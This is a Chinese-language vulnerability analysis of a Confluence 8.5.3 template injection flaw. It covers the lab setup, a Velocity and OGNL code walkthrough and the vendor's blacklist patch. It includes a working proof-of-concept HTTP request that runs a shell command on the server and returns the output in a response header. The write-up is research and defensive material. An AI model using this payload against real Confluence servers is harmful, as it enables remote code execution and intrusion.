环境搭建
使用vulhub的docker环境,git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)
,到漏洞目录看一下docker-compose文件,编辑docker-compose文件并新增开放远程调试端口5005。
version: '2'
services:
web:
image: vulhub/confluence:8.5.3
ports:
- "8090:8090"
- "5005:5005" ###新增开发端口
depends_on:
- db
db:
image: postgres:15.4-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
使用命令启动docker环境docker compose start
,然后在docker环境中导出远程调试使用的依赖库。
docker cp 03f51dd5e1a5:/opt/atlassian/confluence /mnt/e/confluence/confluence7 ##依赖库
docker cp 03f51dd5e1a5:/opt/java/openjdk /mnt/e/confluence/openjdk ##JDK环境
将导出的依赖库和JDK环境使用IDEA导入到新的项目中。
编写confluence启动脚本增加远程调试,这里使用的是setenv.sh脚本,在export CATALINA_OPTS前面增加CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 ${CATALINA_OPTS}"
。
由于docker环境中没有编辑工具,这里我在外面编辑,使用命令将文件拷贝出来,编辑完成后将文件拷贝到docker容器中。
docker cp 03f51dd5e1a5:/opt/atlassian/confluence/bin/setenv.sh .
nano setenv.sh
docker cp setenv.sh db5e15881ec9:/opt/atlassian/confluence/bin/setenv.sh
最重要的一点,编辑完成后必须要重启docker才能生效,记住这里是重启不是start。重启命令docker compose restart
。
接下来配置IDEA中的JVM远程调试。
配置IP和端口后,这里使用IDEA直接开启调试,看到下面的字样就是调试端口远程连接成功了。
漏洞复现
漏洞POC如下:
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
漏洞分析
Velocity模板
Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。
基本语法
语句标识符
用来标识Velocity的脚本语句,
包括 #set 、 #if 、 #else 、 #end 、 #foreach 、 #end 、 #include 、 #parse 、 #macro 等语句。
变量
$ 用来标识一个变量,比如模板文件中为 Hello $a ,可以获取通过上下文传递的 $a
声明
set 用于声明Velocity脚本变量,变量可以在脚本中声明
{} 标识符
"{}"用来明确标识Velocity变量;
Velocity模板渲染流程
这里以template.vm渲染为例。
<html>
<body>
Hello $foo world!
</body>
</html>
- 引擎初始化,通过设置的引擎属性初始化引擎,包括国际化支持,ResourceLoader设置,字符编码等。
- 获取并解析模板文件,首先通过ResourceLoader将tempalte加载为InputStream,然后通过Parser生成如下Token集合:{[ Hello], [$foo], [world! ]},然后通过AST(Abstract Syntax Tree)解析器将InputStream解析为一个AST。最终解析的节点有三个
- [ Hello]对应的ASTText节点;
- [$foo]对应的ASTReference节点;
- [world! ]对应的ASTText节点
- 创建一个Context
- 将模板渲染所需的参数放入context
- 执行模板渲染,产生输出流。渲染过程中通过遍历该模板对应的AST,调用相应节点的处理器执行渲染。模板遍历其对应的AST树,执行每个节点的渲染过程。如ASTText节点只是简单的将文本写入writer。ASTReference节点需要从context中获取引用的参数foo的值VV,将$foo替换,并写入到writer中。Velocity的AST中有多种节点,如ASTIdentitor等,有些需要反射机制处理。当整个AST遍历结束,也就意味着模板渲染结束。
结合上面的Velocity模板解析流程我们来看Confluence中text-inline.vm解析,text-inline.vm文件内容如下:
#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
#set( $labelValue = $parameters.label )
#end
#if (!$parameters.id)
#set( $parameters.id = $parameters.name)
#end
<label for="$parameters.id">
$!labelValue
#if($parameters.required)
<span class="aui-icon icon-required"></span>
<span class="content">$parameters.required</span>
#end
</label>
#parse("/template/aui/text-include.vm")
Confluence中对于vm的请求会用com.atlassian.confluence.servlet.ConfluenceVelocityServlet#doRequest方法处理。
protected void doRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
Context context = this.createContext(request, response);
this.setContentType(request, response);
Template template = this.handleRequest(request, response, context); //Velocity模板初始化,加载text-inline.vm模板文件并解析出Token.
if (template == null) {
return;
}
this.mergeTemplate(template, context, response); //模板渲染
} catch (Exception var5) {
this.error(request, response, var5);
}
}
可以看到在上述代码中第5行完成对Velocity模板引擎初始化以及模板中解析出Token,text-inline.vm中的第一行解析成[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)], [ ], [)等。
Velocity模板AST节点解析
从上面看到VM模板文件被解析成不同的Token,每个Token都用对应AST节点解析,这里我们可以简单写一个测试程序来观察每个token对应节点解析,通过下面代码将解析出AST节点输出。
import org.apache.velocity.runtime.parser.CharStream;
import org.apache.velocity.runtime.parser.Parser;
import org.apache.velocity.runtime.parser.VelocityCharStream;
import org.apache.velocity.runtime.parser.node.SimpleNode;
import java.io.ByteArrayInputStream;
public class Main {
public static void main(String[] args) {
String temp = "#set( $labelValue = $stack.findValue(\"getText('$parameters.label')\") )";
CharStream stream = new VelocityCharStream(new ByteArrayInputStream(temp.getBytes()), 0, 0);
Parser t = new Parser(stream);
try {
SimpleNode n = t.process();
n.dump("");
} catch (Exception e) {
e.printStackTrace();
}
}}
输出AST结果如下:
*.node.ASTprocess@6646153[id=0,info=0,invalid=false,children=1,tokens=[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)], [ ], [)], [)]]
*.node.ASTSetDirective@5ad851c9[id=23,info=0,invalid=false,children=2,tokens=[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)], [ ], [)]]
*.node.ASTReference@6156496[id=16,info=0,invalid=false,children=0,tokens=[$labelValue]]
*.node.ASTExpression@3c153a1[id=25,info=0,invalid=false,children=1,tokens=[ ], [$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)], [ ]]
*.node.ASTReference@b62fe6d[id=16,info=0,invalid=false,children=1,tokens=[$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)]]
*.node.ASTMethod@13acb0d1[id=15,info=0,invalid=false,children=2,tokens=[findValue], [(], ["getText('$parameters.label')"], [)]]
*.node.ASTIdentifier@3e3047e6[id=8,info=0,invalid=false,children=0,tokens=[findValue]]
*.node.ASTStringLiteral@37e547da[id=7,info=0,invalid=false,children=0,tokens=["getText('$parameters.label')"]]
可以看到#set(节点是使用ASTSetDirective解析,这里重点看一下最后一个节点使用ASTStringLiteral节点解析的,如果这里vm文件换成另外一个#set( $labelValue = $stack.findValue($parameters.label))
,我们来看一下输出的不同。
*.node.ASTprocess@3d299e3[id=0,info=0,invalid=false,children=1,tokens=[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], [$parameters], [.], [label], [)], [ ], [)], [)]]
*.node.ASTSetDirective@f2f2cc1[id=23,info=0,invalid=false,children=2,tokens=[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], [$parameters], [.], [label], [)], [ ], [)]]
*.node.ASTReference@3a079870[id=16,info=0,invalid=false,children=0,tokens=[$labelValue]]
*.node.ASTExpression@3b2cf7ab[id=25,info=0,invalid=false,children=1,tokens=[ ], [$stack], [.], [findValue], [(], [$parameters], [.], [label], [)], [ ]]
*.node.ASTReference@2aa5fe93[id=16,info=0,invalid=false,children=1,tokens=[$stack], [.], [findValue], [(], [$parameters], [.], [label], [)]]
*.node.ASTMethod@5c1a8622[id=15,info=0,invalid=false,children=2,tokens=[findValue], [(], [$parameters], [.], [label], [)]]
*.node.ASTIdentifier@5ad851c9[id=8,info=0,invalid=false,children=0,tokens=[findValue]]
*.node.ASTReference@6156496[id=16,info=0,invalid=false,children=1,tokens=[$parameters], [.], [label]]
*.node.ASTIdentifier@3c153a1[id=8,info=0,invalid=false,children=0,tokens=[label]]
可以看到这里是直接走节点的解析,最后一个节点是ASTIdentifier,没有ASTStringLiteral节点的解析,注意细节的小伙伴可以看到两个vm的区别就是findValue函数中有无引号的区别。
模板渲染
com.atlassian.confluence.servlet.ConfluenceVelocityServlet#mergeTemplate函数会调用org.apache.velocity.Template#merge函数,重点看一下121行( (SimpleNode) data ).render( ica, writer);
,通过调用AST的跟节点(ASTprocess)的render方法。
SimpleNode#render函数会遍历处理各个子节点的render。
public boolean render(InternalContextAdapter context, Writer writer) throws IOException, MethodInvocationException, ParseErrorException, ResourceNotFoundException {
int k = this.jjtGetNumChildren();
for(int i = 0; i < k; ++i) {
this.jjtGetChild(i).render(context, writer); //根据token分配不同AST节点解析并渲染
}
return true;
}
如果是ASTSetDirective类型的节点就会调用ASTSetDirective#render函数,如果是ASTStringLiteral类型的节点就会调用ASTStringLiteral#render函数。并通过writer进行模板的渲染,当前节点解析完成会返回true。例如text-inline.vm文件中的第一个解析#set,就会调用org.apache.velocity.runtime.parser.node.ASTSetDirective#render函数。如果文本例如html则就是ASTText节点处理,下面的函数是ASTText节点的render函数,只是简单的将文本写入writer,完成当前节点的执行。
public boolean render(InternalContextAdapter context, Writer writer) throws IOException {
if (context.getAllowRendering()) {
writer.write(this.ctext);
}
return true;
}
模板注入
我们输入测试的payload,简单跟踪一下处理流程。SimpleNode处理以前的流程不在重复说明,这里重点来看SimpleNode处理以后的节点,首先看一下调用的函数。
value:290, ASTStringLiteral (org.apache.velocity.runtime.parser.node)
execute:155, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:262, ASTReference (org.apache.velocity.runtime.parser.node)
value:507, ASTReference (org.apache.velocity.runtime.parser.node)
value:71, ASTExpression (org.apache.velocity.runtime.parser.node)
render:142, ASTSetDirective (org.apache.velocity.runtime.parser.node)
render:336, SimpleNode (org.apache.velocity.runtime.parser.node)
在ASTSetDirective#render函数中,通过该函数的第一行获取右边的值,可以看到这里获取到的是$stack.findValue("getText('$parameters.label')")
,也就是=右边的值,对应左边的值就是$labelValue
。
因为右边的值是$stack开始的,所以这里就会调用ASTReference#value。可以看到ASTRefernce#value方法会调用ASTRefernce#execute方法。
在ASTRefernce#execute方法中首先对$stack
通过this.getVariableValue(context, this.rootString);
做了进一步的解析,解析就不做详细的说明了,感兴趣的同学可以下个断点调试看一下。这里可以看到解析出来的就是ognl.OgnlValueStack
类。然后会循环解析调用子节点的execute方法。
在ASTMethod#execute方法中,会解析当前的函数名称以及循环获取函数参数,在获取函数参数的过程中会调用子节点的value方法,这里的函数名称就是findvule,参数则是"getText('$parameters.label')"
,可以看到参数是字符串的类型,所以这里的子节点就是ASTStringLiteral.最后通过Object obj = method.invoke(o, params);
将获取到的对应的方法反射解析。
在ASTStringLiteral#value方法中,首先通过this.interpolate
,判断当前值中是否存在$(变量)
,如果不存在变量就直接返回字符串,如果存在则会通过nodeTree.render(context, writer)
调用SimpleNode根节点进一步解析。如果这里的变量可控,我们可以输入恶意字符,在模板二次解析的解析恶意字符,这就是诱发模板注入的原因所在。
继续进一步跟踪,这里将会反射调用ognl.OgnlValueStack.findvaule
方法。
简答看一下下面调用过程,最终调用OgnlUtil.execute
,完成了Ognl表达书的注入。
execute:523, OgnlUtil$2 (com.opensymphony.xwork2.ognl)
compileAndExecute:562, OgnlUtil (com.opensymphony.xwork2.ognl)
getValue:521, OgnlUtil (com.opensymphony.xwork2.ognl)
getValueUsingOgnl:297, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValue:280, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValueWhenExpressionIsNotNull:262, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:242, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:304, OgnlValueStack (com.opensymphony.xwork2.ognl)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
doInvoke:385, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:374, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:28, UnboxingMethod (com.atlassian.velocity.htmlsafe.introspection)
execute:270, ASTMethod (org.apache.velocity.runtime.parser.node)
重点看一下ognl#compileAndExecute方法,在415行中Ognl.parseExpression(expression)
完成了对Ognl表达式的解析,解析之后也将unicode 编码还原。为什么payload要输入\u0027,将其拼接到原来的getText(' 中,这里我们输入是\u0027 xxxx\u0027,将SQL注入一样这里刚好将getText函数中的字符串闭合,闭合之后插入自己payload,如果输入单引号将会被html实体编码。
最终可以看到表达式成功执行。
构造RCEpayload具体可见:https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/?ref=blog.projectdiscovery.io#strutsutil:~:text=(PageContextImpl)-,For%20Velocity%3A,-.KEY_velocity.struts2.context文章。
疑点解惑
通过上文了解主要是通过OgnlValueStack.findValue可以完成Ognl表达式注入,我们可以在文件中搜索$stack.findValue或者$ognl.findValue来找一找其他入口点,这里找到一个pagelist.vm文件,可以看到第一行与text-inline.vm明显的区别就是findVaule()方法中没有引号。
如果这里findvaule()是String类型才会解析到com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(java.lang.String),
如果我们使用pagelist文件,这里请求之后在ASTMethod#execute获取findvalue方法的请求参数params是个ParamsRequest对象。
com.opensymphony.xwork2.ognl.OgnlValueStack没有参数ParamsRequest对象的findvalue方法是所以这里返回的是空。这就是pagelist.vm为什么不能作为入口的原因。
补丁分析
官方的修复比较有意思的是直接增加Ognl表达式的节点黑名单,但是最新的8.5.6中已经将入口文件text-inline.vm删除。相比与上个版本增加了excludedNodeTypes节点黑名单,如果表达式存在下面的节点,就会中断表达式的执行。
在OgnlUtil.toTree方法中,首先会在缓存的属性中查找值,这块调试也花了一点时间,所以每次可以发送一个不同的payload,然后就会进入第569行,this.ognlGuard.parseExpression(expr)
,这里可以看到如果解析的节点是_ognl_guard_blocked节点就会抛出异常,中断Ognl表达式的执行。通过ognlGuard解析Ognl表达式,最后将解析后的数据写入到缓存数据中。如果解析的节点是黑名单就会返回_ognl_guard_blocked,如果没有节点黑名单就会返回正常的节点树。
在StrutsOgnlGuard#containsExcludedNodeType函数会追个解析表达式的节点,并判断当前的节点是否在补丁中的节点中,可以看到这获取到表达式的节点是ASTAdd,黑名单中也存在该节点,这里将会返回True.
isParsedTreeBlocked 函数也会返回true。
总结
这个漏洞是SSTI注入的一种形式,其他的类型SSTI注入都是直接插入模板文件行,官方的修复也是比较有意思,这里可以看到直接OGNL表达式解析的时候增加了黑名单。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)